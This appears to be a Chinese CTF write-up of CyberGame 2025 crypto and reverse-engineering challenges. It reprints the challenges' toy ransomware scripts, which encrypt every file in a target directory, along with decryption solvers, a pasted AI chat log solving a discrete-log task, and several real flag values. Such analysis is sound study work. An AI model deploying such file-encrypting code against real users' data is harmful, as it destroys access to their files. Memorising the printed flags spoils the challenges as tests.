跳到主要内容

CyberGame 2025 (Slovenia-Kenya)

· 阅读需 63 分钟
Lysithea
CTF enthusiastist. Usual teamname: Lysithea, Ribom, RibomBalt

这个比赛是个人赛,很大的特点是所有题目都包含至少三个flag,层层递进,通常最后一个flag有最高分数;尽管如此,很多题目前面和后面flag其实联系并不紧密。

这个比赛似乎是入门向的,感觉整体难度不高(尽管部分2星的压轴/3星题我还是做不出来),部分题目有些小巧思值得做,也有部分题目猜的成分重或者体验不好。另外部分简单题在AI辅助下可以秒杀。

总的来说感觉还是学了点东西的。

☆☆☆-Crypto Advanced Decryption Standard

三个题目分别是AES-ECB, AES-CBC, AES-CTR,可以用CyberChef直接解密

★☆☆-Crypto Adversary

题目给出拦截的两个人通话的密文。三个题目是三个不同的密文,比较简单

  • flag1: 似乎是某种字母替换,直接丢进quipquip,SK-CERT{have_you_ever_heard_about_a_block_cipher???}
  • flag2: 题目声明这个加密方式是3AES,并且给了三个密钥,但没有IV,推测是AES-ECB,但不确定密钥使用顺序和加解密,可以写一个随机fuzz猜测,解出明文就过了。
    • 最终似乎加密过程是按密钥使用顺序加密+解密+加密,解密时反过来就行
for _ in range(10000):
key_seq = list(range(len(keys)))
random.shuffle(key_seq)
do_enc = [random.choice([True, False]) for _ in range(len(key_seq))]
# key_seq = [2, 1, 0]
# do_enc = [False, True, False]

cipher = ciphers[3]
for i_key in key_seq:
if do_enc[i_key]:
cipher = AES.new(keys[i_key], AES.MODE_ECB).encrypt(cipher)
else:
cipher = AES.new(keys[i_key], AES.MODE_ECB).decrypt(cipher)

print(cipher, key_seq, do_enc)
  • flag3: 题目给了一张图,说是双方会按这个图进行密钥协商,之后用flag2的3AES加密方式加密。这个图看起来很像Diffie-Hellman密钥协商的图,但似乎密钥混合用的是异或而不是非对称加密,因此可以直接异或运算解密,得到Key后结果就一样了。

★☆☆-Crypto Ransomware

这个题目的主题是被勒索软件加密的文件还原,三个flag用了三种不同加密方式。

三个题目的附件是相同类型,即一个被加密的png图片和一个被加密的文本文件。注意到PNG文件头其实是固定的89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52,这将是求出未知密钥的关键。

flag1: 异或解密

这个题目os.urandom(16)了一个密钥,然后进行cyclic xor加密。由于已知PNG文件头,可以直接算出密钥,解密文件。

SK-CERT{7r1v14l_r4n50mw4r3_f0r_7h3_574r7}

致敬音频传奇加密格式ncm……这个还比那个复杂呢。

flag2: 位移密钥解密

这个题目密钥会经历两个过程:

  1. 第一轮异或加密后,随机丢弃每个字节的最低位
  2. 第二轮开始,每轮加密前将密钥移位,异或加密后再进行额外的移位。
ransomware.py
def rotate_left(byte, bits):
return ((byte << bits) & 0xff) | (byte >> (8 - bits))

def rotate_right(byte, bits):
return ((byte >> bits) & 0xff) | ((byte << (8 - bits)) & 0xff)

def encrypt(filename, key):
block_size = len(key)
with open(TARGET_DIR + filename, "rb") as f:
print(f"Reading from {TARGET_DIR + filename}")
data = f.read()

encrypted = bytearray()
num_blocks = (len(data) + block_size - 1) // block_size

for i in range(num_blocks):
block = data[i * block_size : (i + 1) * block_size]
if i == 0:
enc_block = bytearray()
for j, b in enumerate(block):
t = b ^ key[j]
random_lower = os.urandom(1)[0] & 0x01
new_val = (t & 0xFE) | random_lower
enc_block.append(new_val)
else:
offset = i % block_size
rotated_key = key[offset:] + key[:offset]
xor_result = bytes(b ^ k for b, k in zip(block, rotated_key))
enc_block = bytes(rotate_left(b, 3) for b in xor_result)
encrypted.extend(enc_block)

out_filename = TARGET_DIR + filename + ".enc"
with open(out_filename, "wb") as f:
f.write(encrypted)
print(f"[+] Encrypted file written to {out_filename}")

所有移位操作都是可以直接逆向的,唯一需要确定的是被丢弃的最低位,共2**16 == 65536种可能。注意到加密两个文件是这一位其实也不相同,因此可以从PNG文件得到密钥高位后,直接遍历随机丢弃的最低位。

solve.py
def rotate_left(byte, bits):
return ((byte << bits) & 0xff) | (byte >> (8 - bits))

def rotate_right(byte, bits):
return ((byte >> bits) & 0xff) | ((byte << (8 - bits)) & 0xff)

def flag2(filename, key, entropy=0, TARGET_DIR="./flag2/files", save=True):
block_size = len(key)
enc_filename = os.path.join(TARGET_DIR, filename + ".enc")

with open(enc_filename, "rb") as f:
encrypted_data = f.read()

decrypted = bytearray()
num_blocks = (len(encrypted_data) + block_size - 1) // block_size
for i in range(num_blocks):
block = encrypted_data[i * block_size : (i + 1) * block_size]

if i == 0: # 初始块的特殊处理
dec_block = bytearray()
for j, b in enumerate(block):

bit_entropy = (entropy >> j) & 0x01
t = b
# 由于我们不知道最低位是什么,这里假设它是0
new_val = (t & 0xFE) | bit_entropy # 丢弃随机最低位
dec_val = new_val ^ key[j]
dec_block.append(dec_val)
else: # 后续块的处理
offset = i % block_size
rotated_key = key[offset:] + key[:offset]

# 反向旋转 - 右旋转3位代替左旋转3位
rotated_bytes = bytes(rotate_right(b, 3) for b in block)

# 与轮转后的密钥异或
dec_block = bytes(b ^ k for b, k in zip(rotated_bytes, rotated_key))

decrypted.extend(dec_block)
out_filename = os.path.join(TARGET_DIR, filename)
if save:
with open(out_filename, "wb") as f:
f.write(decrypted)
print(f"[+] Decrypted file written to {out_filename}")

return decrypted

def guess_flag2(filename, known_bytes, entropy=0, TARGET_DIR="./flag2/files"):
"""
entropy: first block, (entropy | (1 << bit))
"""
# 这里假设我们知道文件的前16个字节
key = bytearray(16)
with open(os.path.join(TARGET_DIR, filename + ".enc"), "rb") as f:
file_data = f.read(16)

for i in range(16):
bit_entropy = (entropy >> i) & 0x01
t = (file_data[i] & 0xFE) | bit_entropy
key[i] = t ^ known_bytes[i]

return bytes(key)

def run_flag2():
entro = 0
key = guess_flag2("slon.png", b'\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR', entro)
dec = flag2("slopes_of_the_unknowable.txt", key, entropy=entro, save=False)

for istep in range(10000):
new_entro = entro ^ (1 << random.randint(0, 15))
key = guess_flag2("slon.png", b'\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR', new_entro)
new_dec = flag2("slopes_of_the_unknowable.txt", key, entropy=entro, save=False)
if (new_dec_count := new_dec.count(b'"')) < dec.count(b'"'):
if new_dec_count == 0:
print(f"Found entropy: {new_entro: 09b}, Decoded: {new_dec}, Key: {key.hex()}")
break

dec = new_dec
entro = new_entro
print(f"New entropy: {new_entro: 09b}, Decoded: {dec[0xb60:0xb90]}, Length: {len(dec):x}")

flag3: PRNG加密

这一问则是使用了一个有内部状态的32bit随机数生成器,其中包含x,y,counter三个状态,数据流动框图如下:

ransomware.py
import time
import re
import os
from itertools import zip_longest

class PRNG:
def __init__(self, x, y, counter=0):
self.x = x
self.y = y
self.counter = counter

def rand(self):
t = (self.x^(self.x<<10)) & 0xffffffff
self.x = self.y
self.y = ((self.y ^ (self.y>>10)) ^ (t ^ (t>>13))) & 0xffffffff
self.counter = (self.counter + 362437) & 0xffffffff
return (self.y + self.counter) & 0xffffffff



class Encryptor:
def __init__(self, prng):
self.prng = prng

def encrypt(self, file):
enc_data = bytearray()
with open(file, "rb") as f:
data = f.read()
chunks = [data[i:i + 4] for i in range(0, len(data), 4)]
for i, chunk in enumerate(chunks):
key_int = self.prng.rand()
key_bytes = key_int.to_bytes(4, 'little')
encrypted = bytearray(b ^ k for b, k in zip(chunk, key_bytes))
enc_data += encrypted
with open(file + ".enc", "wb") as f_enc:
f_enc.write(enc_data)


TARGET_DIR = "./files/"
IGNORE_PATTERN = r".*\.enc$"


p = PRNG(os.urandom(4), os.urandom(4))
e = Encryptor(p)


for subdir, dirs, files in os.walk(TARGET_DIR):
for file in files:
if not re.match(IGNORE_PATTERN, file):
print(f"[+] Encrypted {file}")
e.encrypt(TARGET_DIR + file)

可见下一轮的x是这一轮的y,而下一轮的y由x,y共同决定。counter每次会自增,然后输出是y和counter的和。另外,考虑到这个加密是同一个PRNG用os.walk遍历文件的,我们要考虑加密的顺序,加密第二个文件(PNG)时counter并不为0,而其值与第一个文件(TXT)的大小有关。

从PNG文件头获取连续四次PRNG输出,减去counter的贡献即得到四次连续的y,事实上也能够得到第二次加密后的全部状态。于是接下来需要逆向PRNG得到初始状态。

这里唯一需要解决的就是t = x ^ (x << k)的逆向问题(或者反过来)。容易意识到>>相当于乘法,^相当于加法,两者满足分配律。考虑到t >> k == (x >> k) ^ (x >> 2k),容易得到t ^ (t >> k) == x ^ (x >> 2k),可以一直迭代到x >> nk == 0,此时就还原了x的所有位。

solve.py

class PRNG:
def __init__(self, x, y, counter=0):
self.x = x
self.y = y
self.counter = counter

def rand(self):
t = (self.x^(self.x<<10)) & 0xffffffff
self.x = self.y
self.y = ((self.y ^ (self.y>>10)) ^ (t ^ (t>>13))) & 0xffffffff
self.counter = (self.counter + 362437) & 0xffffffff
return (self.y + self.counter) & 0xffffffff

# ==================================
# Solve below
# ==================================

def __eq__(self, value: Self):
return (self.x, self.y, self.counter) == (value.x, value.y, value.counter)

def __str__(self):
return f"PRNG(x={self.x:08x}, y={self.y:08x}, counter={self.counter:08x})"

def reverse_rand(self):
"""
反向 PRNG 步骤
"""
rand = (self.y + self.counter) & 0xffffffff
old_counter = (self.counter - 362437 + 2**32) & 0xffffffff

old_y = self.x
t_t13 = self.y ^ (old_y ^ (old_y >> 10))
t_t26 = t_t13 ^ (t_t13 >> 13)
t = t_t26 ^ (t_t26 >> 26)

assert t ^ (t >> 13) == t_t13

x_10 = (t ^ (t << 10)) & 0xffffffff
old_x = (x_10 ^ (x_10 << 20)) & 0xffffffff
# old_x = (x_20 ^ (x_20 << 30)) & 0xffffffff

assert (old_x ^ (old_x << 10)) & 0xffffffff == t, f"\nx: {old_x:032b}\nsx: {(old_x << 10) & 0xffffffff:032b}\nxor:{(old_x ^ (old_x << 10)) & 0xffffffff:032b}\nt: {t:032b}"


self.x = old_x
self.y = old_y
self.counter = old_counter

return rand

test_prng1 = PRNG(0x12345678, 0x9abcdef0, 0x00000001)
test_prng2 = PRNG(0x12345678, 0x9abcdef0, 0x00000001)
test_prng1.rand()
test_prng1.reverse_rand()
assert test_prng1 == test_prng2, f"PRNG state mismatch: {test_prng1} != {test_prng2}"

COUNTER_CONST = 362437

def reverse_prng(known_output, known_counter):
"""
"""
solver = Solver()
# 定义 Z3 位向量变量 (32 位) 用于初始状态
x = BitVec('x', 32)
y = BitVec('y', 32)
counter = known_counter
# counter = BitVec('counter', 32)
# 定义一个辅助函数,用于模拟 PRNG 的一个步骤
def prng_step(x, y, counter):
t = (x ^ (x << 10)) & 0xffffffff
new_x = y
new_y = ((y ^ (y >> 10)) ^ (t ^ (t >> 13))) & 0xffffffff
new_counter = (counter + 362437) & 0xffffffff
output = (new_y + new_counter) & 0xffffffff
return new_x, new_y, new_counter, output
# 添加约束,基于已知的输出
x_i, y_i, counter_i = x, y, counter
for i, output in enumerate(known_output):
x_i, y_i, counter_i, output_i = prng_step(x_i, y_i, counter_i)
solver.add(output_i == output) # 添加约束:输出必须匹配
# 检查是否可解
if solver.check() == sat:
model = solver.model()
initial_x = model.eval(x).as_long()
initial_y = model.eval(y).as_long()
initial_counter = model.eval(counter).as_long()
return initial_x, initial_y, initial_counter
else:
print(f"check {solver.check()}")
print("No solution found for the given outputs.")
return None

def guess_key_flag3(filename, known_bytes, TARGET_DIR="./flag3/files"):
"""
通过已知的字节来猜测密钥
"""
# 假设我们知道文件的前16个字节
key = bytearray(16)
with open(os.path.join(TARGET_DIR, filename + ".enc"), "rb") as f:
file_data = f.read(16)

for i in range(16):
key[i] = file_data[i] ^ known_bytes[i]

known_rand = struct.unpack('IIII', bytes(key[:16])) # 确保前4个字节是大端整数

return known_rand

def flag3():
"""
"""
txt_size = os.stat("flag3/files/flag.txt.enc").st_size
png_size = os.stat("flag3/files/slonik.png.enc").st_size

key4 = guess_key_flag3("slonik.png", b'\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR')
known_counter_start = [(i * COUNTER_CONST) & 0xffffffff for i in (0, math.ceil(txt_size / 4))][1]

# counter increment then return random
counters = [(known_counter_start + (i + 1) * COUNTER_CONST) & 0xffffffff for i in range(len(key4))]

# y for next round and x for next-next round
new_y = [(r - c + 2**32) & 0xffffffff for r, c in zip(key4, counters)]
# this is the state that will produce third round of png
prng_state = PRNG(new_y[0], new_y[1], counters[1])
assert prng_state.reverse_rand() == key4[1]
assert prng_state.reverse_rand() == key4[0]
assert prng_state.rand() == key4[0], f"Expected {key4[0]:08x}, prng_state {prng_state}"
assert prng_state.rand() == key4[1], f"Expected {key4[1]:08x}, prng_state {prng_state}"
assert prng_state.rand() == key4[2], f"Expected {key4[2]:08x}, prng_state {prng_state}"
assert prng_state.rand() == key4[3], f"Expected {key4[3]:08x}, prng_state {prng_state}"

for _ in range(5 + (txt_size // 4)):
prng_state.reverse_rand()

print(f"PRNG state after reversing: {prng_state}")

with open("flag3/files/flag.txt.enc", "rb") as f:
enc_data = f.read()

plain_data = b''
for _ in range(0, len(enc_data), 4):
chunk = enc_data[_:_+4]
key_int = prng_state.rand()
key_bytes = key_int.to_bytes(4, 'little')
decrypted_chunk = bytearray(b ^ k for b, k in zip(chunk, key_bytes))
plain_data += decrypted_chunk

print(plain_data.decode())

★★☆-Crypto Short Crypto Tales

flag1: MorizOtis

这个题目提供了一个区块链签名的实现。代码太长不贴在这里了,简单总结:

  • 首先随机生成32个32字节的私钥
  • 每个私钥进行256次SHA256哈希得到公钥
  • 对消息加密时,先对消息进行SHA256哈希,然后对哈希后的第i个字节,取第i个私钥,进行255 - i次SHA256,得到签名
  • 验证时,根据原始字节把剩余的i + 1次SHA256跑完,和公钥进行对比。

题目首先对20个随机的已知消息进行签名,然后对flag进行签名,之后使用每个签名的第一个字节组成一个32字节的密钥,对flag内容进行了AES加密,并给出密文、IV和公钥。因此,问题核心在于已知20个消息和签名的情况下,预测一个未知消息的签名。

这个签名算法有一个特点:当已知某个摘要第i个字节的签名时,也就知道了其他摘要第i个字节的签名,当且仅当其他摘要第i个字节值更小时。由于SHA256的单向性,签名时迭代次数越少,信息越多。而已知的20个签名已经足够把flag对应的签名拼凑出来了。

这个题为了处理handout用了pydantic库,写的挺舒服的,可以以后参考。

solve.py
from Crypto.Cipher import AES
import os
import json
from pydantic import BaseModel
import hashlib
from typing import Self

class Signature(BaseModel):
message: str
signature:list[str]

class Data(BaseModel):
public_key: list[str]
iv: str
enc: str
signatures: list[Signature]

class SignatureKnowledge(BaseModel):
byte: int
sign: str

def is_better(self, other: Self) -> bool:
return other.byte < self.byte

def calc_sign(self, target_byte: int) -> str:

if target_byte < self.byte:
raise ValueError("Knowledge not enough")

sign_item = bytes.fromhex(self.sign)
for _ in range(target_byte - self.byte):
sign_item = hashlib.sha256(sign_item).digest()

return sign_item.hex()

os.chdir(os.path.dirname(os.path.abspath(__file__)))


# pubkey = sha256 ^ 256 privkey, there are 32 keys
# sign: sha256(message) for everykey, sha256 the i-th byte of the privkey for (BYTE_MAX - sha256(message)[i]) times
# interesting that if sha256(message) contains 0xfe, it would be the same as public key
def rev_flag1():

with open("data.json", "r") as f:
data = Data.model_validate(json.load(f))

privkey_map: list[SignatureKnowledge] = [SignatureKnowledge(byte=256, sign=pub_key) for pub_key in data.public_key]
# extract key info from public chain
for signature_suite in data.signatures:
message_digest = hashlib.sha256(signature_suite.message.encode()).digest()
for i_key, sign in enumerate(signature_suite.signature):
hash_iter = 255 - message_digest[i_key]
if hash_iter < privkey_map[i_key].byte:
privkey_map[i_key].byte = hash_iter
privkey_map[i_key].sign = sign

print(f"Private Key knowledge: {privkey_map}")
for i_key, privkey_knowledge in enumerate(privkey_map):
assert privkey_knowledge.calc_sign(256) == data.public_key[i_key], f"Key {i_key} does not match public key"


msg2_prefix = f"{data.public_key[0]} transfered 999999 CERTcoins to me".encode()
print(f"Message 2 prefix: {msg2_prefix}")
message2_hash = hashlib.sha256(msg2_prefix).digest()
aes_key = bytearray(32)
for i_key, message2_hash_byte in enumerate(message2_hash):
hash_iters = 255 - message2_hash_byte
aes_key[i_key] = int(privkey_map[i_key].calc_sign(hash_iters)[:2], 16)

print(f"Signature 2: {aes_key.hex()}")

cipher = AES.new(key=bytes(aes_key), mode=AES.MODE_CBC, iv=bytes.fromhex(data.iv))
data_plain = cipher.decrypt(bytes.fromhex(data.enc))

print(data_plain)


if __name__ == "__main__":
pass
rev_flag1()

flag2: Suibom (Morbius?)

这个题最神秘的就是我直接把附件丢给gemini-2.5-flash,它就把代码给我了,直接跑就是flag,用时不到30秒,我甚至还没看题。

请看VCR

🧑‍💻 User

请解决这个crypto题目,params.json和values.csv结果已经给出

import random
import json
import csv
from math import prod
from sympy import isprime, nextprime, divisors
from secret import flag

bits = 32
primes = []
while len(primes) < 12:
candidate = random.getrandbits(bits) | (1 << (bits-1)) | 1
if isprime(candidate):
primes.append(int(candidate))

N = prod(primes)

offset = random.randint(2, 5000)
base = N*offset + 1
p = nextprime(base)

exp = (p - 1) // N
g = None
while g is None:
a_candidate = random.randrange(2, p - 1)
potential = pow(a_candidate, exp, p)
if pow(potential, N, p) == 1:
is_generator = True
for q in primes:
if pow(potential, N // q, p) == 1:
is_generator = False
break
if is_generator:
g = potential


flag = b"SK-CERT{REDACTED}"
x = int.from_bytes(flag, 'big')
assert x < N, "flag too large"


divs = divisors(N)
F = {}
for n in divs:
total = 0
for d in divs:
if n % d == 0:
total += pow(g, x * d, p)
F[n] = total % p

with open('params.json', 'w') as file_1:
json.dump({'p': str(p), 'g': str(g), 'N': str(N)}, file_1, indent=2)

with open('values.csv', 'w', newline='') as file_2:
writer = csv.writer(file_2)
writer.writerow(['n', 'F(n)'])
for n in divs:
writer.writerow([n, F[n]])

🤖 Assistant

好的,我已经了解了题目和给出的params.json以及values.csv文件。

这是一个基于离散对数问题(DLP)的密码学题目,但它引入了一个独特的求和函数F(n)F(n),并且目标是恢复flag,也就是x

我们来分析一下给出的信息和代码:

代码分析:

  1. 素数生成:
    • 生成12个bits位(32位)的素数,存储在primes列表中。
    • N是这12个素数的乘积。
  2. 大素数p的生成:
    • p是一个非常大的素数,满足 p = N * offset + 1,其中offset是一个小随机数。这意味着Np-1的一个因子。
  3. 生成元g的生成:
    • g是模pN阶生成元,即g^N == 1 (mod p),且g^(N/q) != 1 (mod p)对于N的任何素因子q
    • exp = (p - 1) // Ng的选取方式是a_candidate^exp mod p。因为p-1 = N * exp,所以g的阶是N
  4. Flag x
    • xflag的整数表示。
    • assert x < N,这是一个重要条件。
  5. 函数 F(n)
    • divs = divisors(N)divsN的所有因子列表。
    • F[n] = total % p,其中total = sum(g^(x*d) for d in divs if n % d == 0)
    • 这个函数是核心,它是一个关于x的特定形式的求和。

目标:

p, g, N和一系列(n, F(n))对中恢复x

数学原理分析:

F(n)的定义: F(n)=dn,ddivisors(N)gxd(modp)F(n) = \sum_{d|n, d \in divisors(N)} g^{x \cdot d} \pmod{p}

这是一个狄利克雷卷积的形式。 令f(d)=gxd(modp)f(d) = g^{x \cdot d} \pmod{p}。 令1N(d)\mathbb{1}_N(d)是一个指示函数,当ddivisors(N)d \in divisors(N)时为1,否则为0。 那么F(n)=dnf(d)1N(d)F(n) = \sum_{d|n} f(d) \cdot \mathbb{1}_N(d)。 由于dd本身就是NN的因子(因为我们只遍历了divs),所以1N(d)\mathbb{1}_N(d)总是1。 F(n)=dngxd(modp)F(n) = \sum_{d|n} g^{x \cdot d} \pmod{p}

这是一个非常有趣的求和。 考虑莫比乌斯反演公式: 如果G(n)=dnF(d)G(n) = \sum_{d|n} F(d),那么F(n)=dnμ(n/d)G(d)F(n) = \sum_{d|n} \mu(n/d) G(d)。 这里我们的F(n)F(n)已经是类似“大写GG”的形式了。

让我们重新定义一个函数: Sk=gxk(modp)S_k = g^{x \cdot k} \pmod{p} 那么F(n)=dnSdF(n) = \sum_{d|n} S_d

我们可以尝试对F(n)F(n)进行莫比乌斯反演。 如果我们定义一个函数f(n)f(n)使得F(n)=dnf(d)F(n) = \sum_{d|n} f(d),那么f(n)=dnμ(n/d)F(d)f(n) = \sum_{d|n} \mu(n/d) F(d)。 根据F(n)F(n)的定义,如果nnN的因子,那么f(n)=gxnf(n) = g^{x \cdot n},否则f(n)=0f(n) = 0

所以,对于N的每一个因子n,我们可以计算: gxn=dnμ(n/d)F(d)(modp)g^{x \cdot n} = \sum_{d|n} \mu(n/d) F(d) \pmod{p}

这是非常重要的。我们知道N的因子有哪些,也知道F(n)的值。 所以,我们可以计算出g^(x*n)的值,对于所有的n,其中nN的因子。

具体步骤:

  1. 加载数据:

    • params.json中加载p, g, N
    • values.csv中加载nF(n)的值。
  2. 计算莫比乌斯函数 mu(n)

    • 需要一个函数来计算μ(k)\mu(k),其中kN的因子。
    • N是12个32位素数的乘积,所以N会非常大。但是,它的因子分解是已知的。
    • 对于一个正整数k
      • 如果k = 1,则μ(k)=1\mu(k) = 1
      • 如果k有平方因子(例如4, 8, 9, 12等),则μ(k)=0\mu(k) = 0
      • 如果kk_1 * k_2 * ... * k_m(其中k_i是不同的素数),则μ(k)=(1)m\mu(k) = (-1)^m
  3. 计算 g^(x*n)

    • 对于N的每个因子n,计算Vn=dnμ(n/d)F(d)(modp)V_n = \sum_{d|n} \mu(n/d) F(d) \pmod{p}
    • 根据我们的推导,Vn=gxn(modp)V_n = g^{x \cdot n} \pmod{p}
  4. 恢复 x

    • 我们现在有一系列(n, V_n)对,其中V_n = g^(x*n) mod p
    • 最简单的情况是取n=1
      • V1=d1μ(1/d)F(d)=μ(1)F(1)=1F(1)=F(1)(modp)V_1 = \sum_{d|1} \mu(1/d) F(d) = \mu(1) F(1) = 1 \cdot F(1) = F(1) \pmod{p}
      • 所以,gx1=F(1)(modp)g^{x \cdot 1} = F(1) \pmod{p}
      • 这意味着我们得到了gx(modp)g^x \pmod{p}的值。
    • 现在问题变成了:给定A=gx(modp)A = g^x \pmod{p},我们知道ggpp,求xx。这是一个标准的离散对数问题(DLP)。
    • 但是,题目中x < N这个条件非常关键。 并且我们知道gN阶生成元,这意味着g^N = 1 mod p
    • 由于Np-1的因子,我们可以利用 Pohlig-Hellman 算法。
    • N是12个32位素数的乘积。这意味着N的素因子分解是已知的(就是primes列表)。
    • Pohlig-Hellman 算法的复杂度取决于模数阶的素因子分解。由于N的素因子都是相对较小的(32位),Pohlig-Hellman 算法是可行的。
    • 对于每个素因子q of N
      • 计算 x(modq)x \pmod q
      • (gx)(N/q)A(N/q)(modp)(g^x)^{(N/q)} \equiv A^{(N/q)} \pmod p
      • g=g(N/q)(modp)g' = g^{(N/q)} \pmod p
      • A=A(N/q)(modp)A' = A^{(N/q)} \pmod p
      • 现在我们有 gxA(modp)g'^x \equiv A' \pmod p,且g'的阶是q
      • 对于小的素数q,我们可以使用 Baby-step Giant-step (BSGS) 算法或暴力枚举来找到x mod q。因为q是32位的,暴力枚举或BSGS是可以接受的。
    • 得到所有x(modq)x \pmod q后,使用中国剩余定理(CRT)来恢复x

实施细节:

  1. sympy.divisors(N) 这个函数已经帮我们列出所有因子。
  2. sympy.factorint(k) 可以用来获取一个数的素因子分解,这对于计算mu(k)和Pohlig-Hellman是很有用的。
  3. 计算mu(k)函数:
    def mu(n):
    if n == 1:
    return 1
    factors = sympy.factorint(n)
    for p_exp in factors.values():
    if p_exp > 1:
    return 0 # Has a square factor
    if len(factors) % 2 == 0:
    return 1
    else:
    return -1
  4. DLP 求解 (Pohlig-Hellman + BSGS):
    • BSGS 算法对于一个素数阶q
      • 目标是找到k使得basektarget(modmodulus)base^k \equiv target \pmod{modulus}
      • m=qm = \lceil \sqrt{q} \rceil
      • Baby steps: 计算并存储basei(modmodulus)base^i \pmod{modulus} for i[0,m1]i \in [0, m-1]
      • Giant steps: 计算target(basem)j(modmodulus)target \cdot (base^{-m})^j \pmod{modulus} for j[0,m1]j \in [0, m-1]
      • 寻找匹配项。

Let's start coding this solution.

import json
import csv
from sympy import isprime, nextprime, divisors, factorint
from math import isqrt

# 1. Load parameters and values
with open('params.json', 'r') as f:
params = json.load(f)
p = int(params['p'])
g = int(params['g'])
N = int(params['N'])

values_data = {}
with open('values.csv', 'r') as f:
reader = csv.reader(f)
next(reader) # Skip header
for row in reader:
n_val = int(row[0])
fn_val = int(row[1])
values_data[n_val] = fn_val

# 2. Implement the Mobius mu function
# We need this for Mobius inversion.
# N is a product of distinct primes, so its divisors also don't have square factors
# so mu(k) will only be 0 if k is not square-free.
# For divisors of N, they are guaranteed to be square-free as N itself is square-free.
def mobius_mu(n):
if n == 1:
return 1

# Get prime factorization of n
factors = factorint(n)

# If any prime factor has an exponent greater than 1, mu(n) = 0
for exponent in factors.values():
if exponent > 1:
return 0

# If n is square-free, mu(n) = (-1)^k where k is the number of distinct prime factors
num_distinct_prime_factors = len(factors)
if num_distinct_prime_factors % 2 == 0:
return 1
else:
return -1

# 3. Calculate g^x mod p (which is g^(x*1) mod p)
# From the Mobius inversion formula:
# g^(x*n) = sum_{d|n} mu(n/d) * F(d) mod p
# For n=1:
# g^(x*1) = sum_{d|1} mu(1/d) * F(d)
# = mu(1) * F(1)
# = 1 * F(1)
# = F(1) mod p
g_x_val = values_data[1] # F(1) is directly g^x mod p

print(f"p: {p}")
print(f"g: {g}")
print(f"N: {N}")
print(f"g^x mod p (F(1)): {g_x_val}")

# 4. Solve Discrete Logarithm Problem (DLP) for x using Pohlig-Hellman
# We need x such that g^x = g_x_val (mod p)
# The order of g is N. So we need to solve x mod N.
# N is a product of 12 prime numbers.
# We need to find the prime factors of N. We can use factorint(N).
N_prime_factors = factorint(N)
print(f"Prime factors of N: {N_prime_factors}")

# Store congruences for CRT
congruences = [] # (x_i, q_i) where x = x_i (mod q_i)

# Baby-Step Giant-Step (BSGS) algorithm for discrete logarithm
# Solves base^k = target (mod modulus) where order is order_val
def solve_dlp_bsgs(base, target, modulus, order_val):
m = isqrt(order_val) + 1

# Baby steps
baby_steps = {}
current_val = 1
for i in range(m):
baby_steps[current_val] = i
current_val = (current_val * base) % modulus

# Precompute inv_base_m = (base^-m) mod modulus
inv_base_m = pow(pow(base, m, modulus), -1, modulus)

# Giant steps
current_giant_val = target
for j in range(m):
if current_giant_val in baby_steps:
i = baby_steps[current_giant_val]
k = (j * m + i) % order_val
return k
current_giant_val = (current_giant_val * inv_base_m) % modulus

raise ValueError("Discrete logarithm not found (shouldn't happen for valid input)")

# Solve for x modulo each prime factor q_i of N
for q_i in N_prime_factors: # N_prime_factors is a dict like {prime: exponent}
# For Pohlig-Hellman, we deal with prime powers if exponent > 1.
# Here, N is a product of distinct primes, so exponent is always 1.

# New base for sub-problem: g_prime = g^(N/q_i) mod p
# New target for sub-problem: target_prime = (g^x)^(N/q_i) mod p
g_prime = pow(g, N // q_i, p)
target_prime = pow(g_x_val, N // q_i, p)

# Now we solve g_prime^k = target_prime (mod p) where k is x mod q_i
# The order of g_prime is exactly q_i.
x_mod_q_i = solve_dlp_bsgs(g_prime, target_prime, p, q_i)
congruences.append((x_mod_q_i, q_i))
print(f"x mod {q_i} = {x_mod_q_i}")

# 5. Use Chinese Remainder Theorem (CRT) to combine congruences
# x = x_1 (mod m_1)
# x = x_2 (mod m_2)
# ...
# x = x_k (mod m_k)
# Here m_i are the prime factors q_i, and they are coprime.
# The `egcd` and `modinv` functions from some common crypto libraries would be useful.
# Or implement them:

def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('Modular inverse does not exist')
return x % m

# CRT implementation
# congruences is a list of (remainder, modulus) tuples
def chinese_remainder_theorem(congruences):
# Calculate N = product of all moduli
M = 1
for _, modulus in congruences:
M *= modulus

x = 0
for remainder, modulus in congruences:
Mi = M // modulus
inv_Mi = modinv(Mi, modulus)
x = (x + remainder * Mi * inv_Mi) % M

return x

x = chinese_remainder_theorem(congruences)
print(f"\nReconstructed x: {x}")

# 6. Convert x back to flag
try:
flag_bytes = x.to_bytes((x.bit_length() + 7) // 8, 'big')
# If the flag is padded with null bytes, strip them
if b'\x00' in flag_bytes:
flag_bytes = flag_bytes.lstrip(b'\x00') # Strip leading null bytes
flag = flag_bytes.decode('utf-8')
print(f"Reconstructed flag: {flag}")
except Exception as e:
print(f"Could not decode flag (might not be UTF-8 or padding issues): {e}")
print(f"Raw bytes for flag: {x.to_bytes((x.bit_length() + 7) // 8, 'big')}")

运行上述代码前,请确保安装了sympy库:

pip install sympy

关于x.bit_length() flag = b"SK-CERT{REDACTED}" x = int.from_bytes(flag, 'big') assert x < N

当将x转换回字节串时,x.to_bytes((x.bit_length() + 7) // 8, 'big')会生成一个尽可能短的字节串。如果原始flag是例如b'\x00SECRET',那么x会丢失开头的\x00,转换回来后就变成b'SECRET'。 但是,通常CTF题目中的flag字符串不会以空字节开头。 如果flag的长度是固定的,并且x不足以填满该长度,那么to_bytes可能需要指定一个固定的长度参数。但通常情况下,bit_length()就足够了。 这里因为xSK-CERT{...}的整数表示,它不会以\x00开头,所以lstrip(b'\x00')可能不是严格必要,但加了也无妨。 最终,flag_bytes.decode('utf-8')应该能得到原始的flag字符串。

这个解决方案的完整流程和推导都已给出,并且包含了解题所需的Pohlig-Hellman和CRT算法。 唯一需要注意的是,由于q_i是32位的素数,m = sqrt(q_i)大约是2162^{16},BSGS的复杂度是O(qi)O(\sqrt{q_i}),所以对于每个素因子,计算量是可接受的。总共12个这样的素因子,所以总耗时也会在合理范围内。

☆☆☆-rev SanityChecker

比较签到的逆向

给了一个python代码,有很吓人的混淆,最后有个time.sleep(31536000),写入了lol.sh文件,以及os.system执行了两次shell。注释掉然后打印出来,得到flag1:

chmod +x lol.sh
./lol.sh #SK-CERT{0bfu5c4710n_4nd_5l33p}

